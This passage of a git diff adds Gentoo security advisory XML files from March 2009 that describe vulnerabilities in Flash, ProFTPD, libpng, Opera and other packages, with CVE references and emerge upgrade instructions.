+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0241">CVE-2009-0241</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 03 Feb 2009 00:12:46 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 16:26:05 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 16:27:02 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-23.xml b/xml/htdocs/security/en/glsa/glsa-200903-23.xml
new file mode 100644
index 00000000..a6d4f48f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-23.xml
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-23">
+  <title>Adobe Flash Player: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been identified, the worst of which allow
+    arbitrary code execution on a user's system via a malicious Flash file.
+  </synopsis>
+  <product type="ebuild">adobe-flash</product>
+  <announced>March 10, 2009</announced>
+  <revised>May 28, 2009: 04</revised>
+  <bug>239543</bug>
+  <bug>251496</bug>
+  <bug>260264</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-plugins/adobe-flash" auto="yes" arch="*">
+      <unaffected range="ge">10.0.22.87</unaffected>
+      <vulnerable range="lt">10.0.22.87</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Adobe Flash Player is a renderer for the popular SWF file format,
+    which is commonly used to provide interactive websites, digital
+    experiences and mobile content.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Adobe Flash Player:
+    </p>
+    <ul>
+    <li>The access scope of SystemsetClipboard() allows ActionScript
+    programs to execute the method without user interaction
+    (CVE-2008-3873).</li>
+    <li>The access scope of FileReference.browse() and
+    FileReference.download() allows ActionScript programs to execute the
+    methods without user interaction (CVE-2008-4401).</li>
+    <li>The Settings Manager controls can be disguised as normal graphical
+    elements. This so-called "clickjacking" vulnerability was disclosed by
+    Robert Hansen of SecTheory, Jeremiah Grossman of WhiteHat Security,
+    Eduardo Vela, Matthew Mastracci of DotSpots, and Liu Die Yu of
+    TopsecTianRongXin (CVE-2008-4503).</li>
+    <li>Adan Barth (UC Berkely) and Collin Jackson (Stanford University)
+    discovered a flaw occurring when interpreting HTTP response headers
+    (CVE-2008-4818).</li>
+    <li>Nathan McFeters and Rob Carter of Ernst and Young's Advanced
+    Security Center are credited for finding an unspecified vulnerability
+    facilitating DNS rebinding attacks (CVE-2008-4819).</li>
+    <li>When used in a Mozilla browser, Adobe Flash Player does not
+    properly interpret jar: URLs, according to a report by Gregory
+    Fleischer of pseudo-flaw.net (CVE-2008-4821).</li>
+    <li>Alex "kuza55" K. reported that Adobe Flash Player does not properly
+    interpret policy files (CVE-2008-4822).</li>
+    <li>The vendor credits Stefano Di Paola of Minded Security for
+    reporting that an ActionScript attribute is not interpreted properly
+    (CVE-2008-4823).</li>
+    <li>Riley Hassell and Josh Zelonis of iSEC Partners reported multiple
+    input validation errors (CVE-2008-4824).</li>
+    <li>The aforementioned researchers also reported that ActionScript 2
+    does not verify a member element's size when performing several known
+    and other unspecified actions, that DefineConstantPool accepts an
+    untrusted input value for a "constant count" and that character
+    elements are not validated when retrieved from a data structure,
+    possibly resulting in a null-pointer dereference (CVE-2008-5361,
+    CVE-2008-5362, CVE-2008-5363).</li>
+    <li>The vendor reported an unspecified arbitrary code execution
+    vulnerability (CVE-2008-5499).</li>
+    <li>Liu Die Yu of TopsecTianRongXin reported an unspecified flaw in the
+    Settings Manager related to "clickjacking" (CVE-2009-0114).</li>
+    <li>The vendor credits Roee Hay from IBM Rational Application Security
+    for reporting an input validation error when processing SWF files
+    (CVE-2009-0519).</li>
+    <li>Javier Vicente Vallejo reported via the iDefense VCP that Adobe
+    Flash does not remove object references properly, leading to a freed
+    memory dereference (CVE-2009-0520).</li>
+    <li>Josh Bressers of Red Hat and Tavis Ormandy of the Google Security
+    Team reported an untrusted search path vulnerability
+    (CVE-2009-0521).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted SWF
+    file, possibly resulting in the execution of arbitrary code with the
+    privileges of the user or a Denial of Service (crash). Furthermore a
+    remote attacker could gain access to sensitive information, disclose
+    memory contents by enticing a user to open a specially crafted PDF file
+    inside a Flash application, modify the victim's clipboard or render it
+    temporarily unusable, persuade a user into uploading or downloading
+    files, bypass security restrictions with the assistance of the user to
+    gain access to camera and microphone, conduct Cross-Site Scripting and
+    HTTP Header Splitting attacks, bypass the "non-root domain policy" of
+    Flash, and gain escalated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Flash Player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-plugins/adobe-flash-10.0.22.87&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3873">CVE-2008-3873</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4401">CVE-2008-4401</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4503">CVE-2008-4503</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4818">CVE-2008-4818</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4819">CVE-2008-4819</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4821">CVE-2008-4821</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4822">CVE-2008-4822</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4823">CVE-2008-4823</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4824">CVE-2008-4824</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5361">CVE-2008-5361</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5362">CVE-2008-5362</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5363">CVE-2008-5363</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5499">CVE-2008-5499</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0114">CVE-2009-0114</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0519">CVE-2009-0519</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0520">CVE-2009-0520</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0521">CVE-2009-0521</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 09 Mar 2009 11:37:22 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 09 Mar 2009 12:37:48 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-24.xml b/xml/htdocs/security/en/glsa/glsa-200903-24.xml
new file mode 100644
index 00000000..be0e7fc0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-24.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-24">
+  <title>Shadow: Privilege escalation</title>
+  <synopsis>
+    An insecure temporary file usage in Shadow may allow local users to gain
+    root privileges.
+  </synopsis>
+  <product type="ebuild">shadow</product>
+  <announced>March 10, 2009</announced>
+  <revised>March 10, 2009: 01</revised>
+  <bug>251320</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/shadow" auto="yes" arch="*">
+      <unaffected range="ge">4.1.2.2</unaffected>
+      <vulnerable range="lt">4.1.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Shadow is a set of tools to deal with user accounts.
+    </p>
+  </background>
+  <description>
+    <p>
+    Paul Szabo reported a race condition in the "login" executable when
+    setting up tty permissions.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker belonging to the "utmp" group could use symlink
+    attacks to overwrite arbitrary files and possibly gain root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Shadow users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/shadow-4.1.2.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5394">CVE-2008-5394</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 12 Feb 2009 19:41:17 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 08 Mar 2009 19:05:06 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 08 Mar 2009 19:05:15 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-25.xml b/xml/htdocs/security/en/glsa/glsa-200903-25.xml
new file mode 100644
index 00000000..71339ac5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-25.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-25">
+  <title>Courier Authentication Library: SQL Injection vulnerability</title>
+  <synopsis>
+    An SQL injection vulnerability has been discovered in the Courier
+    Authentication Library.
+  </synopsis>
+  <product type="ebuild">courier-authlib</product>
+  <announced>March 11, 2009</announced>
+  <revised>March 11, 2009: 01</revised>
+  <bug>252576</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/courier-authlib" auto="yes" arch="*">
+      <unaffected range="ge">0.62.2</unaffected>
+      <vulnerable range="lt">0.62.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Courier Authentication Library is a generic authentication API that
+    encapsulates the process of validating account passwords.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been reported that some parameters used in SQL queries are not
+    properly sanitized before being processed when using a non-Latin locale
+    Postgres database.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted input to an application
+    using the library, possibly resulting in the execution of arbitrary SQL
+    commands.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Courier Authentication Library users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/courier-authlib-0.62.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2380">CVE-2008-2380</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 07 Mar 2009 18:32:02 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 10 Mar 2009 12:55:53 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 11 Mar 2009 10:55:30 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-26.xml b/xml/htdocs/security/en/glsa/glsa-200903-26.xml
new file mode 100644
index 00000000..79d56957
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-26.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-26">
+  <title>TMSNC: Execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow in TMSNC might lead to the execution of arbitrary code
+    when processing an instant message.
+  </synopsis>
+  <product type="ebuild">tmsnc</product>
+  <announced>March 12, 2009</announced>
+  <revised>March 12, 2009: 01</revised>
+  <bug>229157</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/tmsnc" auto="yes" arch="*">
+      <vulnerable range="le">0.3.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TMSNC is a Textbased client for the MSN instant messaging protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Nico Golde reported a stack-based buffer overflow when processing a MSN
+    packet with a UBX command containing a large UBX payload length field.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted message, possibly
+    resulting in the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Since TMSNC is no longer maintained, we recommend that users unmerge
+    the vulnerable package and switch to another console-based MSN client
+    such as CenterIM or Pebrot:
+    </p>
+    <code>
+    # emerge --unmerge &quot;net-im/tmsnc&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2828">CVE-2008-2828</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 10 Mar 2009 22:52:54 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 11 Mar 2009 12:01:45 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 11 Mar 2009 12:02:24 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-27.xml b/xml/htdocs/security/en/glsa/glsa-200903-27.xml
new file mode 100644
index 00000000..b462eb40
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-27.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-27">
+  <title>ProFTPD: Multiple vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities in ProFTPD might allow for SQL injection attacks.
+  </synopsis>
+  <product type="ebuild">proftpd</product>
+  <announced>March 12, 2009</announced>
+  <revised>March 12, 2009: 01</revised>
+  <bug>258450</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/proftpd" auto="yes" arch="*">
+      <unaffected range="ge">1.3.2</unaffected>
+      <vulnerable range="lt">1.3.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ProFTPD is an advanced and very configurable FTP server.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were reported:
+    </p>
+    <ul><li>
+    Percent characters in the username are not properly handled, which
+    introduces a single quote character during variable substitution by
+    mod_sql (CVE-2009-0542).
+    </li>
+    <li>
+    Some invalid, encoded multibyte characters are not properly handled in
+    mod_sql_mysql and mod_sql_postgres when NLS support is enabled
+    (CVE-2009-0543).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted requests to the server,
+    possibly resulting in the execution of arbitrary SQL statements.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ProFTPD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/proftpd-1.3.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0542">CVE-2009-0542</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0543">CVE-2009-0543</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 07 Mar 2009 18:36:42 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Mar 2009 12:43:00 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Mar 2009 12:43:09 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-28.xml b/xml/htdocs/security/en/glsa/glsa-200903-28.xml
new file mode 100644
index 00000000..a325ec6d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-28.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-28">
+  <title>libpng: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were found in libpng, which might result in the
+    execution of arbitrary code
+  </synopsis>
+  <product type="ebuild">libpng</product>
+  <announced>March 15, 2009</announced>
+  <revised>March 15, 2009: 01</revised>
+  <bug>244808</bug>
+  <bug>255231</bug>
+  <bug>259578</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libpng" auto="yes" arch="*">
+      <unaffected range="ge">1.2.35</unaffected>
+      <vulnerable range="lt">1.2.35</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpng is the official PNG reference library used to read, write and
+    manipulate PNG images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were discovered in libpng:
+    </p>
+    <ul>
+    <li>A
+    memory leak bug was reported in png_handle_tEXt(), a function that is
+    used while reading PNG images (CVE-2008-6218).</li>
+    <li>A memory
+    overwrite bug was reported by Jon Foster in png_check_keyword(), caused
+    by writing overlong keywords to a PNG file (CVE-2008-5907).</li>
+    <li>A
+    memory corruption issue, caused by an incorrect handling of an out of
+    memory condition has been reported by Tavis Ormandy of the Google
+    Security Team. That vulnerability affects direct uses of
+    png_read_png(), pCAL chunk and 16-bit gamma table handling
+    (CVE-2009-0040).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker may execute arbitrary code with the privileges of the
+    user opening a specially crafted PNG file by exploiting the erroneous
+    out-of-memory handling. An attacker may also exploit the
+    png_check_keyword() error to set arbitrary memory locations to 0, if
+    the application allows overlong, user-controlled keywords when writing
+    PNG files. The png_handle_tEXT() vulnerability may be exploited by an
+    attacker to potentially consume all memory on a users system when a
+    specially crafted PNG file is opened.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libpng users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libpng-1.2.35&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5907">CVE-2008-5907</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6218">CVE-2008-6218</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0040">CVE-2009-0040</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jan 2009 18:45:00 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 13 Feb 2009 19:13:22 +0000">
+    mabi
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 13 Mar 2009 19:09:44 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-29.xml b/xml/htdocs/security/en/glsa/glsa-200903-29.xml
new file mode 100644
index 00000000..f20a5047
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-29.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-29">
+  <title>BlueZ: Arbitrary code execution</title>
+  <synopsis>
+    Insufficient input validation in BlueZ may lead to arbitrary code execution
+    or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">bluez-utils bluez-libs</product>
+  <announced>March 16, 2009</announced>
+  <revised>March 16, 2009: 01</revised>
+  <bug>230591</bug>
+  <access>local, remote</access>
+  <affected>
+    <package name="net-wireless/bluez-utils" auto="yes" arch="*">
+      <unaffected range="ge">3.36</unaffected>
+      <vulnerable range="lt">3.36</vulnerable>
+    </package>
+    <package name="net-wireless/bluez-libs" auto="yes" arch="*">
+      <unaffected range="ge">3.36</unaffected>
+      <vulnerable range="lt">3.36</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    BlueZ is a set of Bluetooth tools and system daemons for Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been reported that the Bluetooth packet parser does not validate
+    string length fields in SDP packets.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A physically proximate attacker using a Bluetooth device with an
+    already established trust relationship could send specially crafted
+    requests, possibly leading to arbitrary code execution or a crash.
+    Exploitation may also be triggered by a local attacker registering a
+    service record via a UNIX socket or D-Bus interface.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All bluez-utils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/bluez-utils-3.36&quot;</code>
+    <p>
+    All bluez-libs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/bluez-libs-3.36&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2374">CVE-2008-2374</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 11 Mar 2009 19:03:24 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 11 Mar 2009 19:04:53 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 13 Mar 2009 12:49:09 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-30.xml b/xml/htdocs/security/en/glsa/glsa-200903-30.xml
new file mode 100644
index 00000000..c30604c4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-30.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-30">
+  <title>Opera: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were found in Opera, the worst of which allow for
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>March 16, 2009</announced>
+  <revised>March 17, 2009: 02</revised>
+  <bug>247229</bug>
+  <bug>261032</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">9.64</unaffected>
+      <vulnerable range="lt">9.64</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a fast web browser that is available free of charge.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were discovered in Opera:
+    </p>
+    <ul>
+    <li>Vitaly McLain reported a heap-based buffer overflow when processing
+    host names in file:// URLs (CVE-2008-5178).</li>
+    <li>Alexios Fakos reported a vulnerability in the HTML parsing engine
+    when processing web pages that trigger an invalid pointer calculation
+    and heap corruption (CVE-2008-5679).</li>
+    <li>Red XIII reported that certain text-area contents can be
+    manipulated to cause a buffer overlow (CVE-2008-5680).</li>
+    <li>David Bloom discovered that unspecified "scripted URLs" are not
+    blocked during the feed preview (CVE-2008-5681).</li>
+    <li>Robert Swiecki of the Google Security Team reported a Cross-site
+    scripting vulnerability (CVE-2008-5682).</li>
+    <li>An unspecified vulnerability reveals random data
+    (CVE-2008-5683).</li>
+    <li>Tavis Ormandy of the Google Security Team reported a vulnerability
+    when processing JPEG images that may corrupt memory
+    (CVE-2009-0914).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted JPEG
+    image to cause a Denial of Service or execute arbitrary code, to
+    process an overly long file:// URL or to open a specially crafted web
+    page to execute arbitrary code. He could also read existing
+    subscriptions and force subscriptions to arbitrary feed URLs, as well
+    as inject arbitrary web script or HTML via built-in XSLT templates.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-9.64&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5178">CVE-2008-5178</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5679">CVE-2008-5679</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5680">CVE-2008-5680</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5681">CVE-2008-5681</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5682">CVE-2008-5682</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5683">CVE-2008-5683</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0914">CVE-2009-0914</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 07 Mar 2009 09:16:02 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 09 Mar 2009 15:15:16 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 16 Mar 2009 21:43:27 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-31.xml b/xml/htdocs/security/en/glsa/glsa-200903-31.xml
new file mode 100644
index 00000000..38e8333d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-31.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-31">
+  <title>libcdaudio: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability in libcdaudio might allow for the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">libcdaudio</product>
+  <announced>March 17, 2009</announced>
+  <revised>March 17, 2009: 01</revised>
+  <bug>245649</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libcdaudio" auto="yes" arch="*">
+      <unaffected range="ge">0.99.12-r1</unaffected>
+      <vulnerable range="lt">0.99.12-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libcdaudio is a library of CD audio related routines.
+    </p>
+  </background>
+  <description>
+    <p>
+    A heap-based buffer overflow has been reported in the
+    cddb_read_disc_data() function in cddb.c when processing overly long
+    CDDB data.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to connect to a malicious CDDB
+    server, possibly resulting in the remote execution of arbitrary code
+    with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libcdaudio users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libcdaudio-0.99.12-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5030">CVE-2008-5030</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 16 Mar 2009 12:45:13 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 16 Mar 2009 12:45:24 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-32.xml b/xml/htdocs/security/en/glsa/glsa-200903-32.xml
